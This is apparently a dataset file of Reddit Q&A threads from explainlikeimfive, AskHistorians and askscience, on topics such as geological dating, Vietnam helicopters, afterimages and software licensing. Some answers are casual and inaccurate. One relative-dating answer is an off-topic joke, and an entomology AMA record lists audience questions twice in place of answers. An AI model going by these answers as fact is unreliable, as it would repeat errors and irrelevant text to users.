{"q_id": "6bbik3", "title": "how does relative dating work?", "selftext": "I get the basic premise: Judge the age of a rock or mineral by getting the age of a rock or mineral near it. But how do scientists know that this is even remotely accurate?\n\nIf I were to place a toy train in my backyard, and leave it there for 86 years, and place another toy train next to it, those toy trains are not the same age. They just happen to be in relatively the same location.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6bbik3/eli5_how_does_relative_dating_work/", "answers": {"a_id": ["dhl8t58", "dhl9o63", "dhli6ds"], "score": [4, 3, 5], "text": ["Relative dating has a pretty big margin of error. 86 years is *nothing* in a geological time scale. They are looking in terms of thousands of years.\n\nIn your example if a geologist found your first train with a note that said \"placed here in 2017\" then found your second train they would know it was probably put there around the same time. They could also see it looked newer even if just a little. So they would conclude the second train was also put there somewhere between 2017-2200 ish. Which it was!", "Relative dating only really establishes a framework of a timeline for geologists to work off of. Going off of your example, imagine instead that a kid has a large toy chest. The kid gets a new you every week and only plays with the most recent few toys. Older toys are chucked in the toy chest never to be played with again. Years later the child is grown up and decides to clean out the chest and donate the toys. As they begin removing toys they start with the newest toys on top. Remote controlled cars and a game boy they played with at 13 are on top. As they go down they are peeling away layer after layer getting to toys meant for a younger and younger child, until finally, the bottom layer reveals all the fisher price toys they had as a baby. \n\nRelative dating is inaccurate because no single event in the geologic record has a numerical value assigned to it for how many years old it is. Instead, by understanding how rocks form, we know which of two adjacent rocks must be newer. For example, sedimentary rocks have to form with the older layers on the bottom. Bending and folding of sedimentary rock has to happen after the layers are created. Igneous intrusions through layers have to be newer than all their surrounding layers. We can follow this idea to establish a detailed timeline for what order a landmass was altered in. Say we know rock A is younger than rock B. Rock C is also adjacent to both rocks. If we rock C is younger then rock B is well, but also younger then rock A, then we know that from oldest to youngest, the rocks go B, A, C. The more variety an area has, the more detailed our timeline can be. From their geologist can then begin actually trying to figure out how old any given layer of rock is. ", "It's frowned-upon in most of the USA, but some states allow citizens to marry their cousins because they're so attractive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5dsy3p", "title": "Hueys in Vietnam", "selftext": "In more or less anything fictional about Vietnam War, you tend to see massive amounts of Hueys flying in the sky, dozen if not more. Were they actually used to this extent?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5dsy3p/hueys_in_vietnam/", "answers": {"a_id": ["da79mcr"], "score": [8], "text": ["The bottom line answer to your question is \u201cYes\u201d.  The photos of massive numbers of helicopters moving troops into battle, providing supply lift, and taking wounded to medical care are truly reflective of the massive use of helicopters by the US in Vietnam.  As early as 1963, the Army began to evaluate new doctrine and tactics for the use of helicopters in warfare, and in 1964 the 11th Division (test) was established in the US to test air mobile doctrine and capabilities. By 1964-5, it was determined to try the concept in combat, and the 1st Cavalry Division (airmobile) was formed and sent to Vietnam. As it deployed, it contained over 700 aircraft (mostly helicopters). Soon, around its base at An Khe, massive air-carried assaults on enemy forces became routine.  Further development of the concept in later years of the conflict resulted in the formation of the Army's 1st Aviation Brigade in 1966, which supported units throughout Vietnam, and the use of massive air assaults with many dozens of helicopters at a time became nearly routine, throughout the combat zone. The 1st had 43 Companies, 8 battalions, and over 850 aircraft.\n\nIn total, over 11,000 helicopters (including 7013 UH-1 variants) were used by the US in Vietnam, of which more than 5000 were lost in combat.  \n\nSome references I would recommend for further reading:\n\nAllen, Matthew. Military Helicopter Doctrines of the Major Powers, 1945-1992. \nBoyne, Walter J. How the Helicopter Changed Modern Warfare. \nChinnery, Philip D.  Vietnam: The Helicopter War"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1zjjui", "title": "Can you actually be injured by thinking too hard?", "selftext": "We sometimes think of people who think too hard as suddenly having a stroke or some kind of cerebral hemorrhage. Is this possible or does it only happen in cartoons and the like? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zjjui/can_you_actually_be_injured_by_thinking_too_hard/", "answers": {"a_id": ["cfuzax2"], "score": [8], "text": ["Well, in a way maybe it can: _URL_2_  - but those are cases in which the brain is damaged during chronic neurodegenerative diseases.  \n  \nThere's no such thing as thinking to hard in healthy people. Thinking does simply not damage the brain. Actually thinking is the best way to train our brain, lacking in brain stimulating thoughts may even cause brain shrinkage. If you think 'too much' you'll eventually get physically tired and well, fall asleep sooner or later. ( _URL_1_ ).  \n  \nPeople thinking 'too much' in the sense that they are *chronically* stressed out for example have a higher risk of high blood pressure and thus are at a higher risk for having a stroke (along with the myriad of other problems chronic stress can cause). But that correlation does not translate into causation.  \nEDIT: forgot the link to go with this paragraph - _URL_0_  \n  \nAlso, I'm not native in English, please forgive me any strange grammar.\n\n  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.cmu.edu/news/archive/2007/October/oct10_cohenjama.shtml", "http://jap.physiology.org/content/106/3/857.long", "http://www.sciencedaily.com/releases/2005/11/051104085927.htm"]]}
{"q_id": "3r7ccn", "title": "Why is it \"King of Scots\" instead of \"King of Scotland\"?", "selftext": "I have a feeling it's influenced by the clan culture in the kingdom of Scotland but I can't find anything on the subject", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3r7ccn/why_is_it_king_of_scots_instead_of_king_of/", "answers": {"a_id": ["cwm5si2"], "score": [12], "text": ["Scots meant scotti, meaning Irish settlers from Dal Riata originally. Basically all Gaelic speakers were referred to scotti. Circa 1300s in the Bruce invasion of Ireland they began calling themselves king of scots to gain some solidarity with the Irish against the english as Ireland and the Irish lacked a proper king like figure. However the Bruce invasion was disastrous. \n\nAlso important to note the idea of Gaelic/scot/Irish solidarity is one with deep roots. For example the Christian clergy in Ireland circa 1010s crowned Brian boru, high king of Ireland, imperator scottorum literally meaning emperor of scots. The king of alba even sent him troops, some historians say as tribute, to fight against the Norse in 1014 for the battle of clontarf.\n\nHowever as Irish became out of fashion and English became dominant they became more bent, especially in the south to wrestle off their Irish heritage, going so far as to get a papal decree declaring exclusive rights over the \"scots\" name to those in Scotland exclusively."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "n54v9", "title": "AskScience AMA Series - IAmA Entomologist working on molecular systematics and genetic barcoding. AMA!", "selftext": "Specifically, I work on producing phylogenies of moths and (soon enough) fireflies as well. This process involves DNA extraction, polymerase chain reaction (PCR), gel electrophoresis, and a lot of computer analysis. Feel free to ask any questions you may have about insect evolution, experimental procedure, or about bugs in general!\n\n\nEDIT: I apologize if some of my answers start appearing twice. My connection is spotty and I keep getting submission errors.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/n54v9/askscience_ama_series_iama_entomologist_working/", "answers": {"a_id": ["c36barl", "c36bfht", "c36bonv", "c36bu3y", "c36bvph", "c36c5xq", "c36cdvd", "c36ch3y", "c36clme", "c36d07l", "c36d0cb", "c36d2f4", "c36dbeh", "c36drmk", "c36dyzy", "c36erub", "c36evy8", "c36gvje", "c36barl", "c36bfht", "c36bonv", "c36bu3y", "c36bvph", "c36c5xq", "c36cdvd", "c36ch3y", "c36clme", "c36d07l", "c36d0cb", "c36d2f4", "c36dbeh", "c36drmk", "c36dyzy", "c36erub", "c36evy8", "c36gvje"], "score": [6, 12, 5, 3, 5, 2, 2, 3, 3, 2, 2, 2, 8, 3, 2, 2, 2, 2, 6, 12, 5, 3, 5, 2, 2, 3, 3, 2, 2, 2, 8, 3, 2, 2, 2, 2], "text": ["What are polymerase chain reaction and gel electrophoresis?", "Have you discovered any cryptic moth species which were previously unknown due to common morphological characters?\n\nHow well resolved are your phylogenies? Do you stop at the species level, or are you interested in sub-species diversity?\n\nWhy is it important to develop moth phylogenies?", "I presume you use cladistic analysis to determine phylogenies. Is this done by comparing DNA sequences? If so how, long (how many bases) are the segments used to perform this analysis?", "How has the field of sytematics been impacted by new rapid sequencing technology (if at all)?  \n\nWhat is the most exciting thing happening in your field now?", "This might be outside of your wheelhouse, but are there any small molecules that can be encoded at a genetic level that can be used as fluorescent probes?  When I say small, I mean smaller than GFP, YFP, CFP, etc.\n\n", "What's the largest amount of genetic variation within a species that allows classification as the same species? Also, do you do any epigenetic analyses? I'm not sure if it's ever been shown that insects methylate their DNA, come to think of it...", "is your name Danny/Daniel by any chance?", "What's the origin of the word \"butterfly\"?", "Presumably you're using Sanger sequencing. I'm curious if you've read or thought much about the applications of next gen sequencing technologies (i.e. Illumina, 454, etc.) to phylogenetics? Do you foresee any use for it in your work at some point in the future?", "I'm really interested to hear about any wider evolutionary questions that could be addressed by looking at moth and firefly phylogenetics.\nDo you use the phylogenies you generate to investigate evolutionary issues beyond relationships and classification? For example, are you interested to test if the evolution of particular sets of behavioural/anatomical/reproductive traits is associated, by mapping or simulating traits across your phylogenies? Have you tested ideas about correlates of speciation rates? ", "Hi, I'm a molecular biology technician in a cancer research lab where we are trying to find new therapeutic targets. We are setting up some solid state sequencing to look for genetic differences between a fair number of paired tumor-normal tissue samples.\n\nHave you found any new ways to analyze and compare sequences? We will be generating sequencing data at a ridiculous speed, and are hoping to find a non-Needleman-Wunsch approach to detecting differences. We're especially interested in cladistic approaches (i.e. your type of analysis) because one of our investigators takes an evolutionary approach to describing the onset of cancer and the progression of the tunor. Could you describe how you're able to identify whole 600-700 bp segments as single continuous differebces, and not several differences, e.g. three 200 bp regions with separate variation between species?\n\nSorry for the long paragraph, just wanted to give you a background of where I'm coming from with these question.", "That is awesome! Which lep groups are you working on? Do you need any help?", "What career/academic path did you choose to follow, and how did you end up where you are now?\n\nI want to know, because you have my dream job.\n", "1. What do you think is the best theory at explaining how at least some *Calyptra* moths evolved proboscis to pierce mammalian skin (including those of humans) and feed on blood?\n\n2. Why did only males evolve this behavior?  Also, is this behavioral or are there morphological features unique to males that allow them feed on mammalian blood?\n\n3. Is mammalian blood these moths' primary diet or is it supplemental?\n\n4. You should participate in the fine community at /r/whatsthisbug!", "As a child, I was fascinated by bugs and always told myself I wanted to be an entomologist. My lack of drive when it came to actually studying science though quickly shut that dream down as I got older. \n\nWhile this isn't a question, I'd just like to commend you for pursuing a field that I never got around to doing! Any time I hear of work done by entomologists, it always gets me feeling a bit nostalgic about when I'd spend entire recesses in grade 2 catching bugs. ", "Everyone here seems really smart, so here comes a dumb question. How the hell do bugs jump so high? I know how springtails jump, but what about grasshoppers? Do they just have super-powerful teeny muscles, or is it some kind of like, chemical reaction or something, like, are their joints loaded up with C4 or something. I know, feel free to taunt my stupidnessosity. I just have to know.", "There are many methods available for preserving larger insects, like moths and dragonflies.  Some choose to just air dry, while others degut first, and some prefer to use acetone or deep freezing first.\n\nThat being said, when are you going to organize a full Draigoch's Lair raid for the kin?", "could you give us a painfully indepth breakdown of the computer analysis including:\n- What systems do the number crunching ?\n- What languages ?\n- Are these premade algos or custom ones?\n- You mentioned Geneious, how about other programs?\n\nLastly you also mention 700 bp reads .. what kind of machines are you sequencing this on to get those lengths?", "What are polymerase chain reaction and gel electrophoresis?", "Have you discovered any cryptic moth species which were previously unknown due to common morphological characters?\n\nHow well resolved are your phylogenies? Do you stop at the species level, or are you interested in sub-species diversity?\n\nWhy is it important to develop moth phylogenies?", "I presume you use cladistic analysis to determine phylogenies. Is this done by comparing DNA sequences? If so how, long (how many bases) are the segments used to perform this analysis?", "How has the field of sytematics been impacted by new rapid sequencing technology (if at all)?  \n\nWhat is the most exciting thing happening in your field now?", "This might be outside of your wheelhouse, but are there any small molecules that can be encoded at a genetic level that can be used as fluorescent probes?  When I say small, I mean smaller than GFP, YFP, CFP, etc.\n\n", "What's the largest amount of genetic variation within a species that allows classification as the same species? Also, do you do any epigenetic analyses? I'm not sure if it's ever been shown that insects methylate their DNA, come to think of it...", "is your name Danny/Daniel by any chance?", "What's the origin of the word \"butterfly\"?", "Presumably you're using Sanger sequencing. I'm curious if you've read or thought much about the applications of next gen sequencing technologies (i.e. Illumina, 454, etc.) to phylogenetics? Do you foresee any use for it in your work at some point in the future?", "I'm really interested to hear about any wider evolutionary questions that could be addressed by looking at moth and firefly phylogenetics.\nDo you use the phylogenies you generate to investigate evolutionary issues beyond relationships and classification? For example, are you interested to test if the evolution of particular sets of behavioural/anatomical/reproductive traits is associated, by mapping or simulating traits across your phylogenies? Have you tested ideas about correlates of speciation rates? ", "Hi, I'm a molecular biology technician in a cancer research lab where we are trying to find new therapeutic targets. We are setting up some solid state sequencing to look for genetic differences between a fair number of paired tumor-normal tissue samples.\n\nHave you found any new ways to analyze and compare sequences? We will be generating sequencing data at a ridiculous speed, and are hoping to find a non-Needleman-Wunsch approach to detecting differences. We're especially interested in cladistic approaches (i.e. your type of analysis) because one of our investigators takes an evolutionary approach to describing the onset of cancer and the progression of the tunor. Could you describe how you're able to identify whole 600-700 bp segments as single continuous differebces, and not several differences, e.g. three 200 bp regions with separate variation between species?\n\nSorry for the long paragraph, just wanted to give you a background of where I'm coming from with these question.", "That is awesome! Which lep groups are you working on? Do you need any help?", "What career/academic path did you choose to follow, and how did you end up where you are now?\n\nI want to know, because you have my dream job.\n", "1. What do you think is the best theory at explaining how at least some *Calyptra* moths evolved proboscis to pierce mammalian skin (including those of humans) and feed on blood?\n\n2. Why did only males evolve this behavior?  Also, is this behavioral or are there morphological features unique to males that allow them feed on mammalian blood?\n\n3. Is mammalian blood these moths' primary diet or is it supplemental?\n\n4. You should participate in the fine community at /r/whatsthisbug!", "As a child, I was fascinated by bugs and always told myself I wanted to be an entomologist. My lack of drive when it came to actually studying science though quickly shut that dream down as I got older. \n\nWhile this isn't a question, I'd just like to commend you for pursuing a field that I never got around to doing! Any time I hear of work done by entomologists, it always gets me feeling a bit nostalgic about when I'd spend entire recesses in grade 2 catching bugs. ", "Everyone here seems really smart, so here comes a dumb question. How the hell do bugs jump so high? I know how springtails jump, but what about grasshoppers? Do they just have super-powerful teeny muscles, or is it some kind of like, chemical reaction or something, like, are their joints loaded up with C4 or something. I know, feel free to taunt my stupidnessosity. I just have to know.", "There are many methods available for preserving larger insects, like moths and dragonflies.  Some choose to just air dry, while others degut first, and some prefer to use acetone or deep freezing first.\n\nThat being said, when are you going to organize a full Draigoch's Lair raid for the kin?", "could you give us a painfully indepth breakdown of the computer analysis including:\n- What systems do the number crunching ?\n- What languages ?\n- Are these premade algos or custom ones?\n- You mentioned Geneious, how about other programs?\n\nLastly you also mention 700 bp reads .. what kind of machines are you sequencing this on to get those lengths?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1sy0go", "title": "in football, what is the spot of the ball based on at the end of play, and how are referees able to spot it so precisely?", "selftext": "I forget the rule for spotting the ball, is it supposed to be exactly where the ball is once a player is officially down?\n\nThe other thing I've never understood is how the refs are able to place the ball to such a precise spot. Are they just eyeballing it? Because sometimes when they bring the chains out for a first down, it comes down to literally the tip of the football. If they're just going by eye, it seems like it would be extremely difficult to see both exactly when the player is down and where the ball is at that very second, given that they're having to look through the pile most of the time.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sy0go/eli5_in_football_what_is_the_spot_of_the_ball/", "answers": {"a_id": ["ce2ci6m"], "score": [2], "text": ["It is the referee's judgement, but it is also more than just where they are down.  Technically the ball is spotted based on \"forward progress\".  Basically, if you get pushed backwards by someone tackling you, you aren't penalized by that push   back."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1sx2fj", "title": "are we lighter when the sun is directly above us due to its gravitational pull?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sx2fj/eli5_are_we_lighter_when_the_sun_is_directly/", "answers": {"a_id": ["ce22m8h", "ce245p7", "ce25via"], "score": [8, 3, 3], "text": ["Yes, but not by a significant amount. The earth is ~12500 km across, as compared to our 150 million km distance to the sun. The effect would be larger between a high mountaintop and the ground, or between the equator and the poles.", "Yes, but by a rather insignificant amount. The amount of force exerted by the sun on a 72kg person (158lb), is about .425N (.095 lbs, or about 1.5oz). \n\n_URL_0_  \n\nIf you want to play around. \n", "We can work it out approximately very easily. Newton's universal law of gravitation is generally for spherical bodies, but with the scale of the sun compared to us, this is a negligible factor.\n\nOkay, the law is this: GmM/r^2. G is a number called the gravitational constant, m is the mass of one body, M is the mass of the other body, and r is the distance between the two bodies.\n\nSo, I'm going to use my own mass, a disappointing 60kg, and the mass of the sun as google's approximation, 1.989x10^30 kg. An approximate gravitational constant is also given by google: 6.67384\u00d710^-11. So we multiply all of these together and get 7.964560656\u00d710^21.\n\nNow we need the distance from me to the sun. It varies over the year, but we'll call it 150,000,000km. As Chel_of_the_sea says, the Earth is 12500km across, so let's just say 150,000,000km is from the centre of the Earth to the centre of the sun (it could be the surface, I don't know).\n\nAt noon, near the equator, I'm going to be 149,993,750,000m from the sun. So now we square it and divide the product of our masses and G by it. We get 0.3540, which uses the unit N, Newtons, a unit of force. \n\nRepeat the same calculation but using 150,006,250,000m (for midnight) as our distance, and you get 0.3539N.\n\nSo how much difference does this make to how fast gravity pulls me down to Earth? Another of Newton's equations can approximate that for us: F = ma. F is force in N, m is mass, and a is acceleration. Rearranged we can get F/m = a.\n\nSo I'm going to do the same calculation as before to get the force of Earth's gravity on my body. G(mass of earth)(mass of me)/(distance between me and centre of the earth^2). The answer was 611N (it should actually be a bit lower than this, but we've been rounding things rather haphazardly).\n\nSo now we shall find out how fast I am pulled down at noon. (611 - 0.3540)/60 = 10.17743m/s^2. So in these very rough calculations, I am accelerating toward Earth at 10.17743m/s^2 at noon. Now at midnight... (611 + 0.3539)/60 = 10.18923m/s^2.\n\nThat's about a cm difference in speed per second per second, which makes no difference to anything, really. With more accurate calculations, you'd probably find it to be even less difference than that. The actual average acceleration things fall to Earth is 9.81 m/s^2, not 10.18 m/s^2.\n\nSo the answer is yes, but it makes virtually no difference to anything. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://astro.unl.edu/classaction/animations/renaissance/gravcalc.html"], []]}
{"q_id": "pamas", "title": "How do afterimages occur?", "selftext": "This intrigues me. Are afterimages neural phenomena or do they occur in the rods and cones of the eye (I've heard explanations of both)? I've heard that afterimages are a result of sensory adaptation, but that wouldn't explain the afterimages that occur after a quick and violent exposure to a bright light. Or are these two different kinds of afterimages?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pamas/how_do_afterimages_occur/", "answers": {"a_id": ["c3nv9xe"], "score": [2], "text": ["After effects are primarily neural and work for all sorts of visual features. Let's take brightness as an example, but be aware that the same principles are true for [color](_URL_2_), [size](_URL_1_), [motion](_URL_3_), and even complex stimuli like facial emotion.\n\nYour brain encodes both brightness and darkness. For gray, these neurons spike at similar rates, whereas for white and black, they spike at a low and high rate.\n\nThese neurons also adapt to the status quo over time. Let's say you're in a dark room and someone turns on the lights. The \"ON\" or \"bright-responding\" neurons will activate heavily after brightness increase, but they'll quickly reduce their spike frequency to a neutral (or gray) level.\n\n[See the on and off cells in this figure](_URL_0_)\n\nNow, once the ON neuron has adapted to the bright room, you dim the lights. Since the bright room had become the neutral encoding, the dimmer room reduces the spike rate as though thought it were a dark room. Even though the room is now half way between bright and dark, the neurons are encoding it as though it were dark.\n\nIf different parts of your retina and visual system are adapting different brightness levels, then when it switches to a large solidly lit area, the artifacts of the adaptation become clearly visible as the opposite of the previous brightness level.\n\n\nFor an extremely bright flash (or just sunlight), you can get both neural adaptation as well as some retinal bleaching which is a temporary loss (several minutes min) of your low light sensitivity.\n\n*Edit:* There are other mechanisms that are specifically involved in brightness, but what I described is the general adaptation mechanism that works for color too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://webvision.med.utah.edu/imageswv/HRTLN1.JPG", "http://listverse.files.wordpress.com/2007/09/650px-mond-vergleich.svg.png", "http://xona.com/opticalillusions/images/Lilac_Chaser.gif", "http://en.wikipedia.org/wiki/File:Illusion_movie.ogg"]]}
{"q_id": "775e0h", "title": "how do programs that are not for commercial use detect that they are in fact being used for commercial purposes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/775e0h/eli5_how_do_programs_that_are_not_for_commercial/", "answers": {"a_id": ["doj5qbx", "doj69wd", "doj6f8x", "doj78sw", "doj7agw", "doj7yjy"], "score": [33, 10, 2, 2, 2, 7], "text": ["Generally they don't, in most cases it's a legal rather than technical restriction.  If you violate the restriction, you would lose your legal access to the program and possibly (depending on where the restriction comes from, the laws of the particular jurisdiction, etc) open yourself up to getting sued for damages, and that's generally sufficient to keep people from misusing the program.", "TeamViewer has a limit on the number of different computers you connect to - above a certain limit they claim it's no longer personal use.\n\nMost other programs don't know, but if their lobby group audits a company and finds their software running, or their lobby group's advertising convinces an employee to dob in their employer, then they demand payment.", "Some don't know.\n\nOthers measure the size of usage -- how many files you are handling per day, how many different computers you are connecting to, etc. Obviously these are just guessing whether it \"seems commercial.\"", "They can't. It's a tacit agreement - that if you're large enough that having unlicensed software in production is a problem, then buy a license.", "The easiest/most common way I've seen is to detect if you're on a domain.  A domain basically means that a bunch of computers are set up in such a way that they can all be managed from the same source.\n\nMost home users will not have this set up, and so it provides a simple check for home/commercial use.", "It depends on the program.\n\nSome programs impose arbitrary limits that would be unlikely to effect personal use (for example, limiting the size of an outputted file, its resolution or duration), but would with commercial use \n\nothers use watermarking to 'spoil' the files on non commercial/student versions \n\nA lot though, simply rely on honesty, or only offering differing levels of support and access to updates."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "98jwag", "title": "if clouds are water vapour why aren't they hot?", "selftext": "I feel like it has something to do with the atmospheric density at that height, but I'm not 100% sure. Also kinda sad that rain isn't hot :(", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/98jwag/eli5_if_clouds_are_water_vapour_why_arent_they_hot/", "answers": {"a_id": ["e4gl53a", "e4gmmx0", "e4gprwz"], "score": [4, 9, 5], "text": ["In addition to water vapor not having to be above the boiling point, water vapor is invisible. What we see are tiny drops that have condensed around little bits of dust and stuff.  ", "Clouds aren't made of water vapor. Water vapor/steam is invisible. Clouds are made of countless tiny droplets of liquid water.", "You're right to consider density, but it's not just about height. The relationship between the different phases a substance can be in involve temperature and pressure.  \nTemperature isn't just heat energy, it's energy within a certain volume. The molecules in a gas are more energetic than those in a liquid, because of this they spread out more (if they aren't contained) and that energy is over a much larger volume, so its temperature can be equal to or lower than a similar liquid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2ytaop", "title": "how do so many people keep dying in the qatar preparing for the world cup?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ytaop/eli5how_do_so_many_people_keep_dying_in_the_qatar/", "answers": {"a_id": ["cpcpzxl", "cpcq3wp", "cpcrqcb", "cpcrw34"], "score": [6, 5, 2, 2], "text": ["This one's for me: I work in workers' comp insurance in the US.\n\nThere are two main factors that go into work-related injuries or fatalities: dangerous exposures, and skill of labor.  Both of those are issues in Qatar's case.\n\nThe exposures (risks) are pretty obvious: building stadiums (stadia?) requires people working with heavy equipment, working at height, good communication, out in the sun, etc.  Even the safest contracting company in the world gets work-related injuries with these types of exposures.  Add the fact that Qatar doesn't require the sorts of safety guidelines that many other countries do (harnesses and railings, for starters), and a good number of people are going to get hurt from it.  A huge number of the deaths have been cardiac related - heatstroke and exhaustion play a big part, and work hours aren't as tightly regulated as in a lot of other countries.\n\nThe next thing to think of is the level of skill involved in the workforce.  Think of it; a 50-year-old electrician or construction worker has probably had some close calls, has definitely seen coworkers get hurt, and has a generally good idea of how to avoid these sorts of things.  Younger or less experienced labor doesn't have this.  Qatar has outsourced a huge number of migrant workers from India, Sri Lanka, and other neighboring areas.  These people don't have job experience; these people don't know where to avoid danger.\n\nTL;DR Poor regulations, bad conditions, unskilled workers, and a government that's more concerned with deadlines than workers' rights.\n", " >   Is it plainly just horribly unregulated and unsafe working conditions? \n\nThat's exactly correct.  But there's an additional issue.\n\nIn that area of the world, the local privileged people tend to be quite wealthy.  This is true in Qatar, the UAE and Saudi Arabia.  The privileged don't want to dirty themselves with construction jobs so instead they use immigrants and poor people.  Since the locals in power don't give a shit about immigrants and poor people there is zero push for higher safety standards.\n\nIt's not just that there are no standards.  It's that the people dieing are not important to the people who make and enforce the rules.  So not only are there no rules, there is no incentive to create them.", "I was in Doha last summer for a week, and as you could expect it was around 55-60\u00b0C throughout the day. Imagine having to do construction wearing more clothes, for longer hours, and less safe conditions than almost anywhere else in that kind of heat.   \n  \nOr imagine something I actually saw that said it all - a dozen workers taking a quick break by sitting in the shade line of a palm tree....  \n  \nNow as to why the rest of the world is allowing this, I don't know, but the others have already mentioned the utter lack of regard the Qatari people have for those working for them.", "To the Qataris and Fifa, the imported workers are nothing but expendable slaves. Why would you spend money on safety if the slaves are easily replaceable? If you don't agree with them (as I don't), you shouldn't support Fifa."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3lzj5l", "title": "Was recreational fishing permitted in the USSR?", "selftext": "If so, how was it regulated?  \n\nHow was internal travel handled? Was one permitted to travel for the purposes of recreational fishing (internally or internationally)? \n\nWhat about boats, was it possible to purchase boats for the purpose of recreational fishing?  ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3lzj5l/was_recreational_fishing_permitted_in_the_ussr/", "answers": {"a_id": ["cvaqswr"], "score": [3], "text": ["Yes, recreational fishing and hunting were allowed. Sputnik (the Soviet international Reader's Digest analogue) used to carry articles about it in pretty much every issue.\n\n[Here's a US newspaper article from 1989 about a plan to stock Soviet urban park ponds with fish so even city dwellers could enjoy fishing.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://news.google.com/newspapers?nid=1499&amp;dat=19891001&amp;id=bzAcAAAAIBAJ&amp;sjid=ESwEAAAAIBAJ&amp;pg=4038,219314&amp;hl=en"]]}
{"q_id": "3tb6r9", "title": "why are fsa and company health benefit plans unchangeable for an entire year?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tb6r9/eli5_why_are_fsa_and_company_health_benefit_plans/", "answers": {"a_id": ["cx4oeeo"], "score": [2], "text": ["In the FSA case, it's twofold: an IRS regulation requires allocation for the entire calendar year, and FSA providers make all of the funds available at the beginning of the year, so you're not limited to just the money that's already been deducted from your check. Changes mid-year would impact the annual balance and potentially leave the provider on the hook for money you've already spent.\n\nI haven't got a solid rationale in the health insurance case, but I imagine it's to prevent people from increasing coverage for a known event, then cutting back once it's past."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "12hs5w", "title": "Has the phenomena \"defense mechanism\" ever been experimentally verified?", "selftext": "I'm often dubious of claims to defense mechanisms and the like whenever doing Psychology research and studying. As best I know, they are supposed methods by which people consciously or unconsciously reduce personal and interpersonal conflict. I'm rather curious though, does any empirical basis for these ideas exist? For example, when someone claims that another is \"projecting\", do we have any good reason to believe that projection is an actual psychological process that sees widespread use? They appear, atleast to me, merely the products of speculative work on the parts of armchair psychologists over the past century that pass as 'sensible enough'. If I've learned anything from science, it's that 'sensible enough' isn't adequate for determining truth. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12hs5w/has_the_phenomena_defense_mechanism_ever_been/", "answers": {"a_id": ["c6v9e27"], "score": [2], "text": ["I thought defense mechanisms were one of Freud's theories which are now regarded as useful, but not scientific.. \n\nEDIT: Yup. Googling reveals _URL_0_ which includes the following (*Some critics argue that psychodynamic theories are not falsifiable (see pages 8-\u20139) and therefore unscientific. In response to this criticism, proponents of psychodynamic theories point out that empirical evidence does support some psychodynamic concepts. For example, empirical research shows that there are unconscious mental processes, that people have mental representations of other people, and that people use unconscious defense mechanisms to protect themselves from unpleasant emotions such as anxiety*)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sparknotes.com/psychology/psych101/personality/section2.rhtml"]]}
{"q_id": "15te7q", "title": "Is it possible to determine your latitude from the apparent orientation of the moon's craters and/or crescent?", "selftext": "Background: I'm from 55N, but I live at 40S. The visible craters on the moon are all 'upside down' to me, and the moon here waxes and wanes from left to right instead of from right to left.\n\nSeems like at the equator, this should all look sort of 'sideways', as opposed to 'upside down' where I am, and so on for other locations.\n\nBut can this be used to determine latitude? Or does the moon's motion across the night sky make this unreliable somehow? (Or does it not work, but for other reasons).\n\n(If required, I'll assume that I know local time and moon phase, and time zone if that helps)\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15te7q/is_it_possible_to_determine_your_latitude_from/", "answers": {"a_id": ["c7pmyre"], "score": [2], "text": ["You should be able to figure out the latitude just from angle of inclination of the moon in the sky if you know the local time (including the date). There's some 'wobble' in the moon's orbit, but it shouldn't be enough to ruin at least a rough estimate. Knowing which way the craters should look in the northern and southern hemispheres would tell you which one you're in (since the inclination angle is identical for 40N as for 40S). The classical way to tell the lattitude is basically the same: wait until noon local time, then look at the angle of the sun."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
